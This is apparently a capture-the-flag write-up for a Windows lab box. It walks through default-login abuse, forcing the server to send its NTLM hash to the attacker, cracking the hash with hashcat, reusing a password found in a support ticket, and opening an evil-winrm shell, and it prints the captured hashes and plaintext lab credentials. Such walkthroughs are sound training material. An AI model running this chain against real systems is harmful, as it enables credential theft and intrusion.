Skip to content
BIG$HA crestBIG$HA
All writeups

HackSmarter

Printer

Target Information

Property Value
Target 10.1.23.139 (WIN-0MTGMLVOBBO)
Platform Windows Server 2022, Apache/PHP (osTicket), Flask

Enumeration

Port Scan

sudo nmap -p80,3389,5000,5357,5985 --min-rate=1000 -T4 10.1.23.139

Starting Nmap 7.95 ( https://nmap.org ) at 2026-10-19 09:42 UTC
Nmap scan report for WIN-0MTGMLVOBBO (10.1.23.139)
Host is up (0.18s latency).

PORT     STATE SERVICE
80/tcp   open  http
3389/tcp open  ms-wbt-server
5000/tcp open  upnp
5357/tcp open  wsdapi
5985/tcp open  wsman

Nmap done: 1 IP address (1 host up) scanned in 0.54 seconds
sudo nmap -p80,3389,5000,5357,5985 --min-rate=1000 -T4 10.1.23.139 -A

# … (progress/traceroute timing trimmed)
Nmap scan report for WIN-0MTGMLVOBBO (10.1.23.139)
Host is up (0.17s latency).

PORT     STATE SERVICE       VERSION
80/tcp   open  http          Apache httpd 2.4.58 ((Win64) OpenSSL/3.1.3 PHP/8.2.12)
|_http-server-header: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
|_http-title: Smarter Support
3389/tcp open  ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info: 
|   Target_Name: WIN-0MTGMLVOBBO
|   NetBIOS_Domain_Name: WIN-0MTGMLVOBBO
|   NetBIOS_Computer_Name: WIN-0MTGMLVOBBO
|   DNS_Domain_Name: WIN-0MTGMLVOBBO
|   DNS_Computer_Name: WIN-0MTGMLVOBBO
|   Product_Version: 10.0.20348
|_  System_Time: 2026-10-19T09:43:25+00:00
| ssl-cert: Subject: commonName=WIN-0MTGMLVOBBO
| Not valid before: 2026-10-12T15:08:41
|_Not valid after:  2027-04-13T15:08:41
|_ssl-date: 2026-10-19T09:43:31+00:00; -1s from scanner time.
5000/tcp open  http          Werkzeug httpd 3.1.8 (Python 3.14.7)
|_http-server-header: Werkzeug/3.1.8 Python/3.14.7
| http-title: Printer Configuration Portal
|_Requested resource was /login
5357/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Service Unavailable
|_http-server-header: Microsoft-HTTPAPI/2.0
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
# … (OS-fingerprint warning trimmed)
Network Distance: 3 hops
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: -1s, deviation: 0s, median: -1s

A workgroup host (WIN-0MTGMLVOBBO, no domain) with an osTicket-style support portal on 80, a Flask app on 5000 titled “Printer Configuration Portal”, and the usual RDP/WinRM surface.

Web Fingerprinting

curl -v http://10.1.23.139:80

*   Trying 10.1.23.139:80...
* Established connection to 10.1.23.139 (10.1.23.139 port 80) from 10.200.109.78 port 41182
* using HTTP/1.x
> GET / HTTP/1.1
> Host: 10.1.23.139
> User-Agent: curl/8.17.0
> Accept: */*
>
* Request completely sent off
< HTTP/1.1 200 OK
< Date: Mon, 19 Oct 2026 09:46:52 GMT
< Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
< X-Powered-By: PHP/8.2.12
< Set-Cookie: OSTSESSID=f62l3rtt0pd42ct9p6f8domifo; expires=Mon, 19 Oct 2026 10:10:52 GMT; Max-Age=1440; path=/; HttpOnly
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate
< Pragma: no-cache
< Content-Security-Policy: frame-ancestors 'self'; script-src 'self' 'unsafe-inline'; object-src 'none'
< Content-Language: en-US
< Content-Length: 4946
< Content-Type: text/html; charset=UTF-8
<
<!DOCTYPE html>
<html lang="en_US">
<head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
    <title>Smarter Support</title>
# … (head/nav/CSS markup trimmed)
            <a href="view.php" style="display:block" class="green button">Check Ticket Status</a>
</p>
        </div>
        <div class="content"></div>
    </div>

<div class="main-content">
<div class="thread-body">
<h1>Welcome to the Support Center</h1> <p> In order to streamline support requests and better serve you, we utilize a support ticket system. Every support request is assigned a unique ticket number which you can use to track the progress and responses online. For your reference we provide complete archives and history of all your support requests. A valid email address is required to submit a ticket. </p>    </div>
</div>
    <div id="footer">
        <p>Copyright &copy; 2026 Smarter Support - All rights reserved.</p>
        <a id="poweredBy" href="https://osticket.com" target="_blank">Helpdesk software - powered by osTicket</a>
    </div>
<div id="overlay"></div>
<div id="loading">
    <h4>Please Wait!</h4>
    <p>Please wait... it will take a second!</p>
</div>
<script type="text/javascript">
    getConfig().resolve({"html_thread":true,"lang":"en_US","short_lang":"en","has_rtl":false,"primary_language":"en-US","secondary_languages":[],"path":"\/"});
</script>
</body>
</html>
* Connection #0 to host 10.1.23.139:80 left intact

Port 80 is osTicket (“Smarter Support”, footer confirms “powered by osTicket”).

curl -v http://10.1.23.139:5000

*   Trying 10.1.23.139:5000...
* Established connection to 10.1.23.139 (10.1.23.139 port 5000) from 10.200.109.78 port 36528
* using HTTP/1.x
> GET / HTTP/1.1
> Host: 10.1.23.139:5000
> User-Agent: curl/8.17.0
> Accept: */*
>
* Request completely sent off
< HTTP/1.1 302 FOUND
< Server: Werkzeug/3.1.8 Python/3.14.7
< Date: Mon, 19 Oct 2026 09:47:22 GMT
< Content-Type: text/html; charset=utf-8
< Content-Length: 199
< Location: /login
< Vary: Cookie
< Connection: close
<
<!doctype html>
<html lang=en>
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to the target URL: <a href="/login">/login</a>. If not, click the link.
* shutting down connection #0

Port 5000 redirects anonymous requests to /login.

Initial Access — Printer Configuration Portal

Logged into /login with the default admin:admin. With that session cookie in hand, the Configuration page offered a “Test Connection” feature against an arbitrary host:

curl 'http://10.1.23.139:5000/configuration' \
  -X POST \
  -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0' \
  -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' \
  -H 'Accept-Language: en-US,en;q=0.5' \
  -H 'Accept-Encoding: gzip, deflate' \
  -H 'Referer: http://10.1.23.139:5000/configuration' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -H 'Origin: http://10.1.23.139:5000' \
  -H 'Connection: keep-alive' \
  -H 'Cookie: session=eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoiYWRtaW4ifQ.atXnfw.kmp-kLUmRf4rAiRPvnJSXnajRUA' \
  -H 'Upgrade-Insecure-Requests: 1' \
  -H 'Priority: u=0, i' \
  -H 'Pragma: no-cache' \
  -H 'Cache-Control: no-cache' \
  --data-raw 'host=10.200.109.78'
<!doctype html>
<html lang="en">
# … (head/nav/bootstrap markup trimmed)
                <h2>
                    Printer Configuration
                </h2>
                    <div class="alert alert-danger">
                        Connection failed: Received unexpected status from the server: A process has requested access to an object but has not been granted those access rights. (3221225506) STATUS_ACCESS_DENIED: 0xc0000022
                    </div>

Posting my own IP as the target host made the server reach out and try to authenticate to it — the error (STATUS_ACCESS_DENIED, a Windows/SMB-style status code) meant the “connection test” was really an SMB auth attempt against whatever host I supplied.

Capturing the Service Account

python3 -m http.server 1235

Serving HTTP on 0.0.0.0 port 1235 (http://0.0.0.0:1235/) ...
^C
Keyboard interrupt received, exiting.

A plain HTTP listener saw nothing, since the test wasn’t an HTTP callback. I stood up Responder’s SMB listener instead and submitted the same test again.

sudo responder -I tun0

                                         __
  .----.-----.-----.-----.-----.-----.--|  |.-----.----.
  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|
                   |__|


# … (poisoner/server option listing trimmed)
[+] Listening for events...

[SMB] NTLMv2-SSP Client   : 10.1.23.139
[SMB] NTLMv2-SSP Username : WIN-0MTGMLVOBBO\printer_support
[SMB] NTLMv2-SSP Hash     : printer_support::WIN-0MTGMLVOBBO:0c57df352d76fddd:A937E167B867295F7B5E5E4FCDAEC054:010100000000000080748B09B05FDD01D24BD3CFD5890A280000000002000800540049004F00380001001E00570049004E002D0037005A004E005600550047004B004F004F004600540004003400570049004E002D0037005A004E005600550047004B004F004F00460054002E00540049004F0038002E004C004F00430041004C0003001400540049004F0038002E004C004F00430041004C0005001400540049004F0038002E004C004F00430041004C000700080080748B09B05FDD0106000400020000000800300030000000000000000000000000300000A89FA677989BAFAFD82D6499FA5D9D9D635389EB0048A38AEA756D767B6861AC0A001000000000000000000000000000000000000900240063006900660073002F00310030002E003200300030002E003100300039002E00370038000000000000000000
[+] Exiting...

The target authenticated to my fake SMB server as WIN-0MTGMLVOBBO\printer_support, and Responder captured the NetNTLMv2 hash.

Credential Cracking

hashcat -m 5600 hash.txt ~/kali4niaL0ve-back/usr/share/wordlists/rockyou.txt

hashcat (v7.1.2) starting
# … (runtime/backend banner trimmed)
PRINTER_SUPPORT::WIN-0MTGMLVOBBO:0c57df352d76fddd:a937e167b867295f7b5e5e4fcdaec054:010100000000000080748b09b05fdd01d24bd3cfd5890a280000000002000800540049004f00380001001e00570049004e002d0037005a004e005600550047004b004f004f004600540004003400570049004e002d0037005a004e005600550047004b004f004f00460054002e00540049004f0038002e004c004f00430041004c0003001400540049004f0038002e004c004f00430041004c0005001400540049004f0038002e004c004f00430041004c000700080080748b09b05fdd0106000400020000000800300030000000000000000000000000300000a89fa677989bafafd82d6499fa5d9d9d635389eb0048a38aea756d767b6861ac0a001000000000000000000000000000000000000900240063006900660073002f00310030002e003200300030002e003100300039002e00370038000000000000000000:Epsoncx3600
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 5600 (NetNTLMv2)
Hash.Target......: PRINTER_SUPPORT::WIN-0MTGMLVOBBO:0c57df352d76fddd:a...000000
Time.Started.....: Mon Oct 19 10:04:08 2026 (13 secs)
Time.Estimated...: Mon Oct 19 10:04:21 2026 (0 secs)
Kernel.Feature...: Pure Kernel (password length 0-256 bytes)
Guess.Base.......: File (/home/kali/kali4niaL0ve-back/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#01........:   866.4 kH/s (6.23ms) @ Accel:1024 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 11198464/14344393 (78.07%)
Rejected.........: 0/11198464 (0.00%)
Restore.Point....: 11190272/14344393 (78.01%)
Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#01...: F=9bFpTbo -> Eliza123

Hashcat finished with Status...........: Cracked. It doesn’t print the plaintext without --show, so I confirmed the recovered password by testing it directly against RDP: printer_support:Epsoncx3600.

Testing printer_support

With the password cracked, I tried it against the other two services I had — RDP and WinRM:

nxc rdp 10.1.23.139 -u 'printer_support' -p 'Epsoncx3600'

RDP         10.1.23.139     3389   WIN-0MTGMLVOBBO  [*] Windows 10 or Windows Server 2016 Build 20348 (name:WIN-0MTGMLVOBBO) (domain:WIN-0MTGMLVOBBO) (nla:True)
RDP         10.1.23.139     3389   WIN-0MTGMLVOBBO  [+] WIN-0MTGMLVOBBO\printer_support:Epsoncx3600

RDP accepted the credentials, but the session in Remmina didn’t progress past the client. WinRM rejected them outright:

nxc winrm 10.1.23.139 -u 'printer_support' -p 'Epsoncx3600' --local-auth

WINRM       10.1.23.139     5985   WIN-0MTGMLVOBBO  [*] Windows Server 2022 Build 20348 (name:WIN-0MTGMLVOBBO) (domain:WIN-0MTGMLVOBBO)
# … (cryptography deprecation warning trimmed)
WINRM       10.1.23.139     5985   WIN-0MTGMLVOBBO  [-] WIN-0MTGMLVOBBO\printer_support:Epsoncx3600

Content Discovery

With the service account only half-working, I ran a quick fuzz on the web root to get a picture of the environment:

gobuster dir -u "http://10.1.23.139:80/" -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50 -x php,txt,bak,zip,sh,

# … (banner trimmed)
# … (wordlist '#' artifact noise trimmed)
/index.php            (Status: 200) [Size: 4946]
/images               (Status: 301) [Size: 335] [--> http://10.1.23.139/images/]
/images.              (Status: 301) [Size: 336] [--> http://10.1.23.139/images./]
/logo.php             (Status: 302) [Size: 0] [--> /assets/default/images/logo.png]
/login.php            (Status: 200) [Size: 5217]
/profile.php          (Status: 200) [Size: 5217]
/view.php             (Status: 200) [Size: 5278]
/pages.               (Status: 301) [Size: 335] [--> http://10.1.23.139/pages./]
/pages                (Status: 301) [Size: 334] [--> http://10.1.23.139/pages/]
/Images.              (Status: 301) [Size: 336] [--> http://10.1.23.139/Images./]
/Images               (Status: 301) [Size: 335] [--> http://10.1.23.139/Images/]
/apps.                (Status: 301) [Size: 334] [--> http://10.1.23.139/apps./]
/apps                 (Status: 301) [Size: 333] [--> http://10.1.23.139/apps/]
/assets               (Status: 301) [Size: 335] [--> http://10.1.23.139/assets/]
/assets.              (Status: 301) [Size: 336] [--> http://10.1.23.139/assets./]
/account.php          (Status: 200) [Size: 36956]
/css                  (Status: 301) [Size: 332] [--> http://10.1.23.139/css/]
/css.                 (Status: 301) [Size: 333] [--> http://10.1.23.139/css./]
/ajax.php             (Status: 400) [Size: 17]
/Index.php            (Status: 500) [Size: 0]
/Login.php            (Status: 500) [Size: 0]
/js.                  (Status: 301) [Size: 332] [--> http://10.1.23.139/js./]
/js                   (Status: 301) [Size: 331] [--> http://10.1.23.139/js/]
/kb                   (Status: 301) [Size: 331] [--> http://10.1.23.139/kb/]
/kb.                  (Status: 301) [Size: 332] [--> http://10.1.23.139/kb./]
/examples             (Status: 503) [Size: 400]
/api.                 (Status: 301) [Size: 333] [--> http://10.1.23.139/api./]
/api                  (Status: 301) [Size: 332] [--> http://10.1.23.139/api/]
/include              (Status: 403) [Size: 300]
/include.             (Status: 403) [Size: 300]
/logout.php           (Status: 302) [Size: 13] [--> index.php]
/open.php             (Status: 200) [Size: 7900]
/licenses             (Status: 403) [Size: 419]
/Pages                (Status: 301) [Size: 334] [--> http://10.1.23.139/Pages/]
/Pages.               (Status: 301) [Size: 335] [--> http://10.1.23.139/Pages./]
/Logo.php             (Status: 500) [Size: 0]
/avatar.php           (Status: 400) [Size: 40]
/manage.php           (Status: 200) [Size: 63]
/tickets.php          (Status: 200) [Size: 5217]
/Profile.php          (Status: 500) [Size: 0]
/captcha.php          (Status: 200) [Size: 0]
/IMAGES.              (Status: 301) [Size: 336] [--> http://10.1.23.139/IMAGES./]
/IMAGES               (Status: 301) [Size: 335] [--> http://10.1.23.139/IMAGES/]
/Assets.              (Status: 301) [Size: 336] [--> http://10.1.23.139/Assets./]
/Assets               (Status: 301) [Size: 335] [--> http://10.1.23.139/Assets/]
/INDEX.php            (Status: 500) [Size: 0]
/Account.php          (Status: 500) [Size: 0]
/scp                  (Status: 301) [Size: 332] [--> http://10.1.23.139/scp/]
/scp.                 (Status: 301) [Size: 333] [--> http://10.1.23.139/scp./]
Progress: 40180 / 1543941 (2.60%)^C

Trying printer_support against the port-80 login page directly got nothing:

curl 'http://10.1.23.139/login.php' \
  -X POST \
  -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0' \
  -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' \
  -H 'Accept-Language: en-US,en;q=0.5' \
  -H 'Accept-Encoding: gzip, deflate' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -H 'Origin: http://10.1.23.139' \
  -H 'Connection: keep-alive' \
  -H 'Referer: http://10.1.23.139/login.php' \
  -H 'Cookie: OSTSESSID=9rtuk4pr5hh53qtthgs74l0b2i' \
  -H 'Upgrade-Insecure-Requests: 1' \
  -H 'Priority: u=0, i' \
  -H 'Pragma: no-cache' \
  -H 'Cache-Control: no-cache' \
  --data-raw '__CSRFToken__=9e522dac8842a7ba42963dd32780464574e1d4f5&luser=printer_support&lpasswd=Epsoncx3600'

<html></html>

Access denied, an empty response — the account isn’t a customer here. One of the gobuster hits from the first scan was /scp (301), and osTicket ships a separate staff control panel there, so I fuzzed that next:

gobuster dir -u "http://10.1.23.139:80/scp/" -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50 -x php,txt,bak,zip,sh -b 400,404

# … (banner trimmed)
# … (wordlist '#' artifact noise trimmed)
/images               (Status: 301) [Size: 339] [--> http://10.1.23.139/scp/images/]
/index.php            (Status: 302) [Size: 13] [--> /scp/login.php]
/logo.php             (Status: 302) [Size: 13] [--> images/ost-logo.png]
/faq.php              (Status: 302) [Size: 13] [--> /scp/login.php]
/login.php            (Status: 200) [Size: 6505]
/templates.php        (Status: 302) [Size: 13] [--> /scp/login.php]
/profile.php          (Status: 302) [Size: 13] [--> /scp/login.php]
/pages.php            (Status: 302) [Size: 13] [--> /scp/login.php]
/Images               (Status: 301) [Size: 339] [--> http://10.1.23.139/scp/Images/]
/users.php            (Status: 302) [Size: 13] [--> /scp/login.php]
/staff.php            (Status: 302) [Size: 13] [--> /scp/login.php]
/apps                 (Status: 301) [Size: 337] [--> http://10.1.23.139/scp/apps/]
/directory.php        (Status: 302) [Size: 13] [--> /scp/login.php]
/admin.php            (Status: 302) [Size: 13] [--> /scp/login.php]
/categories.php       (Status: 302) [Size: 13] [--> /scp/login.php]
/FAQ.php              (Status: 500) [Size: 0]
/forms.php            (Status: 302) [Size: 13] [--> /scp/login.php]
/lists.php            (Status: 302) [Size: 13] [--> /scp/login.php]
/plugins.php          (Status: 302) [Size: 13] [--> /scp/login.php]
/css                  (Status: 301) [Size: 336] [--> http://10.1.23.139/scp/css/]
/ajax.php             (Status: 403) [Size: 35]
/Index.php            (Status: 500) [Size: 0]
/system.php           (Status: 302) [Size: 13] [--> /scp/login.php]
/Login.php            (Status: 500) [Size: 0]
/js                   (Status: 301) [Size: 335] [--> http://10.1.23.139/scp/js/]
/kb.php               (Status: 302) [Size: 13] [--> /scp/login.php]
/upgrade.php          (Status: 302) [Size: 13] [--> /scp/login.php]
/logout.php           (Status: 302) [Size: 13] [--> /scp/login.php]
/export.php           (Status: 302) [Size: 13] [--> /scp/login.php]
/departments.php      (Status: 302) [Size: 13] [--> /scp/login.php]
/settings.php         (Status: 302) [Size: 13] [--> /scp/login.php]
/Pages.php            (Status: 500) [Size: 0]
/Logo.php             (Status: 500) [Size: 0]
/logs.php             (Status: 302) [Size: 13] [--> /scp/login.php]
/Templates.php        (Status: 500) [Size: 0]
/tickets.php          (Status: 302) [Size: 13] [--> /scp/login.php]
/Staff.php            (Status: 500) [Size: 0]
/filters.php          (Status: 302) [Size: 13] [--> /scp/login.php]
/Profile.php          (Status: 500) [Size: 0]
/dashboard.php        (Status: 302) [Size: 13] [--> /scp/login.php]
/teams.php            (Status: 302) [Size: 13] [--> /scp/login.php]

That paid off: printer_support logged into /scp/login.php as staff.

Credential Discovery — Support Ticket #573525

Working through the available and resolved tickets, ticket #2 had plaintext creds for a user named Ivan.

curl 'http://10.1.23.139/scp/tickets.php?id=2' \
  -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0' \
  -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' \
  -H 'Accept-Language: en-US,en;q=0.5' \
  -H 'Accept-Encoding: gzip, deflate' \
  -H 'Referer: http://10.1.23.139/scp/index.php' \
  -H 'Connection: keep-alive' \
  -H 'Cookie: OSTSESSID=tngb39cmhutddmsf4fje8ktc4a' \
  -H 'Upgrade-Insecure-Requests: 1' \
  -H 'Priority: u=0, i' \
  -H 'Pragma: no-cache' \
  -H 'Cache-Control: no-cache'

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html lang="en-US">
<head>
    <meta http-equiv="content-type" content="text/html; charset=UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
    <meta http-equiv="cache-control" content="no-cache" />
    <meta http-equiv="pragma" content="no-cache" />
    <meta http-equiv="x-pjax-version" content="8d38b06">
    <title>Ticket #573525</title>

The ticket belongs to Ivan Morales (ivan.morales@smartersupport.com):

                            >ivan morales</span></a>
                        <span id="user-5-email">ivan.morales@smartersupport.com</span>

His opening message asked for workstation access:

<b>ivan morales</b> posted <a name="entry-2" href="#entry-2"><time
                datetime="2026-09-27T05:48:05+00:00" data-toggle="tooltip" title="09/26/26 22:48:05">09/26/26 22:48:05</time></a>        <span style="max-width:400px" class="faded title truncate">        </span>
    </div>
    <div class="thread-body no-pjax">
        <div><p>Hello, can you give me access to the new workstation? Seems like my user was not added. Thanks.</p></div>
        <div class="clear"></div>
    </div>

A staff member (Andre Pierce) replied with fresh credentials and closed it as resolved:

<b>Andre Pierce</b> posted <a name="entry-3" href="#entry-3"><time
                datetime="2026-09-27T05:51:33+00:00" data-toggle="tooltip" title="09/26/26 22:51:33">09/26/26 22:51:33</time></a>        <span style="max-width:400px" class="faded title truncate">        </span>
    </div>
    <div class="thread-body no-pjax">
        <div><p>Hello Ivan! Here are the new credentials to access the workstation:</p> <p>Account: ivan.morales </p> <p>Password: ChipiChapaMagico2026!<br /><br />Remember to change your password once you log in. </p></div>
        <div class="clear"></div>
    </div>
</div>
</div><div class="thread-event action">
ivan.morales:ChipiChapaMagico2026!

Lateral Movement — ivan.morales

nxc winrm 10.1.23.139 -u 'ivan.morales' -p 'ChipiChapaMagico2026!' --local-auth

# … (cryptography deprecation warning trimmed)
WINRM       10.1.23.139     5985   WIN-0MTGMLVOBBO  [+] WIN-0MTGMLVOBBO\ivan.morales:ChipiChapaMagico2026! (Pwn3d!)

nxc rdp 10.1.23.139 -u 'ivan.morales' -p 'ChipiChapaMagico2026!' --local-auth

RDP         10.1.23.139     3389   WIN-0MTGMLVOBBO  [*] Windows 10 or Windows Server 2016 Build 20348 (name:WIN-0MTGMLVOBBO) (domain:WIN-0MTGMLVOBBO) (nla:True)
RDP         10.1.23.139     3389   WIN-0MTGMLVOBBO  [+] WIN-0MTGMLVOBBO\ivan.morales:ChipiChapaMagico2026!

evil-winrm -i 10.1.23.139 -u 'ivan.morales' -p 'ChipiChapaMagico2026!'

Evil-WinRM shell v3.9

Both WinRM and RDP accepted the new credentials.

*Evil-WinRM* PS C:\Users\ivan.morales\Documents> whoami
win-0mtgmlvobbo\ivan.morales
*Evil-WinRM* PS C:\Users\ivan.morales\Documents> ls


    Directory: C:\Users\ivan.morales\Documents


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----         9/27/2026   7:31 AM          26624 HealthCheck.exe


*Evil-WinRM* PS C:\Users\ivan.morales\Documents> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== =======
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
*Evil-WinRM* PS C:\Users\ivan.morales\Documents> whoami /groups

GROUP INFORMATION
-----------------

Group Name                             Type             SID          Attributes
====================================== ================ ============ ==================================================
Everyone                               Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users        Alias            S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                          Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK                   Well-known group S-1-5-2      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users       Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization         Well-known group S-1-5-15     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Local account             Well-known group S-1-5-113    Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication       Well-known group S-1-5-64-10  Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level Label            S-1-16-8192
*Evil-WinRM* PS C:\Users\ivan.morales\Documents> ls ../Desktop


    Directory: C:\Users\ivan.morales\Desktop


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----         9/27/2026   3:24 PM           2308 Microsoft Edge.lnk

Nothing on the Desktop but a shortcut. A low-privileged local session — two benign privileges, membership only in Remote Management Users and the default groups, nothing in Administrators.

Post-Foothold Enumeration

*Evil-WinRM* PS C:\Users\ivan.morales\Documents> ./HealthCheck.exe

Support app is running!
Checking Antivirus status...
Defender is not running

A prebuilt HealthCheck.exe was sitting in the user’s own Documents folder. Running it reported on process counts and Defender’s state. Before doing anything else with it, I checked what the file itself was:

*Evil-WinRM* PS C:\Users\ivan.morales\Documents> Get-Item .\HealthCheck.exe | Format-List *


PSPath            : Microsoft.PowerShell.Core\FileSystem::C:\Users\ivan.morales\Documents\HealthCheck.exe
PSParentPath      : Microsoft.PowerShell.Core\FileSystem::C:\Users\ivan.morales\Documents
PSChildName       : HealthCheck.exe
PSDrive           : C
PSProvider        : Microsoft.PowerShell.Core\FileSystem
PSIsContainer     : False
Mode              : -a----
VersionInfo       : File:             C:\Users\ivan.morales\Documents\HealthCheck.exe
                    InternalName:     HealthCheck.exe
                    OriginalFilename: HealthCheck.exe
                    FileVersion:      0.0.0.0
                    FileDescription:
                    Product:
                    ProductVersion:   0.0.0.0
                    Debug:            False
                    Patched:          False
                    PreRelease:       False
                    PrivateBuild:     False
                    SpecialBuild:     False
                    Language:         Language Neutral

BaseName          : HealthCheck
Target            : {}
LinkType          :
Name              : HealthCheck.exe
Length            : 26624
DirectoryName     : C:\Users\ivan.morales\Documents
Directory         : C:\Users\ivan.morales\Documents
IsReadOnly        : False
Exists            : True
FullName          : C:\Users\ivan.morales\Documents\HealthCheck.exe
Extension         : .exe
CreationTime      : 9/27/2026 7:32:00 AM
CreationTimeUtc   : 9/27/2026 2:32:00 PM
LastAccessTime    : 9/27/2026 7:32:27 AM
LastAccessTimeUtc : 9/27/2026 2:32:27 PM
LastWriteTime     : 9/27/2026 7:31:59 AM
LastWriteTimeUtc  : 9/27/2026 2:31:59 PM
Attributes        : Archive



*Evil-WinRM* PS C:\Users\ivan.morales\Documents> Get-AuthenticodeSignature .\HealthCheck.exe


    Directory: C:\Users\ivan.morales\Documents


SignerCertificate                         Status                                                                                                  Path
-----------------                         ------                                                                                                  ----
                                          NotSigned                                                                                               HealthCheck.exe


*Evil-WinRM* PS C:\Users\ivan.morales\Documents> icacls .\HealthCheck.exe
.\HealthCheck.exe NT AUTHORITY\SYSTEM:(I)(F)
                  BUILTIN\Administrators:(I)(F)
                  WIN-0MTGMLVOBBO\ivan.morales:(I)(F)

Successfully processed 1 files; Failed processing 0 files

Not signed, and the ACL is unusual for a user-owned binary — NT AUTHORITY\SYSTEM and BUILTIN\Administrators hold full control alongside ivan.morales, suggesting something privileged runs or manages it. I tried to confirm that by querying for the process directly:

*Evil-WinRM* PS C:\Users\ivan.morales\Documents> Get-CimInstance Win32_Process |
Where-Object { $_.Name -like '*HealthCheck*' } |
Select-Object ProcessId, ParentProcessId, ExecutablePath, CommandLine
Access denied
At line:1 char:1
+ Get-CimInstance Win32_Process |
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : PermissionDenied: (root\cimv2:Win32_Process:String) [Get-CimInstance], CimException
    + FullyQualifiedErrorId : HRESULT 0x80041003,Microsoft.Management.Infrastructure.CimCmdlets.GetCimInstanceCommand

Get-CimInstance Win32_Process was denied outright — WMI wasn’t available to this session, so I couldn’t observe the tool’s runtime behavior that way. The binary itself was the only way left to learn what it does, so I pulled a copy for offline analysis.

*Evil-WinRM* PS C:\Users\ivan.morales\Documents> download HealthCheck.exe
Info: Downloading C:\Users\ivan.morales\Documents\HealthCheck.exe to HealthCheck.exe
Info: Download successful!
*Evil-WinRM* PS C:\Users\ivan.morales\Documents> exit

Privilege Escalation — Embedded Admin Credential

file HealthCheck.exe

HealthCheck.exe: PE32 executable for MS Windows 4.00 (console), Intel i386 Mono/.Net assembly, 3 sections
strings HealthCheck.exe

# … (PE/binary preamble noise trimmed)
$xmlPath = "C:\ProgramData\CustomHealthCheck\config.xml"
$config = [xml](Get-Content -Path $xmlPath)
$username = $config.Credentials.Username
$password = $config.Credentials.Password
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force
$Credential = New-Object System.Management.Automation.PSCredential(
    $username,
    $securePassword
Invoke-Command -ComputerName "WIN-0MTGMLVOBBO" -Credential $Credential -ScriptBlock {
    Get-CimInstance -ClassName Win32_OperatingSystem | Select LastBootUpTime
    $processes = Get-CimInstance Win32_Process -Filter "Name = 'httpd.exe'"
    if ($processes.Count -gt 1) {
           Write-Host "Support app is running!"
    }
    $db = Get-CimInstance Win32_Process -Filter "Name = 'python3.exe'"
    if ($db.Count -gt 1) {
           Write-Host "Printer is running!"
    }
    Write-Host "Checking Antivirus status..."
    $AVStatus = Get-MpComputerStatus
    if ($AVStatus.RealTimeProtectionEnabled ) {
        Write-Host "Defender is running"
    } else {
       Write-Host "Defender is not running"
    }
# … (remainder of strings output omitted — .NET assembly metadata, no further findings)

The decompiled text is PowerShell, not native code (file had already shown a Mono/.NET assembly). It reads C:\ProgramData\CustomHealthCheck\config.xml, builds a PSCredential from the Username/Password nodes inside, and uses Invoke-Command -Credential $Credential back against the same host to check whether httpd.exe/python3.exe are running, and whether Defender’s real-time protection is on — which matches exactly what running the tool earlier had printed, and gives a new target that doesn’t require WMI at all: the config file itself.

evil-winrm -i 10.1.23.139 -u 'ivan.morales' -p 'ChipiChapaMagico2026!'

Evil-WinRM shell v3.9
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
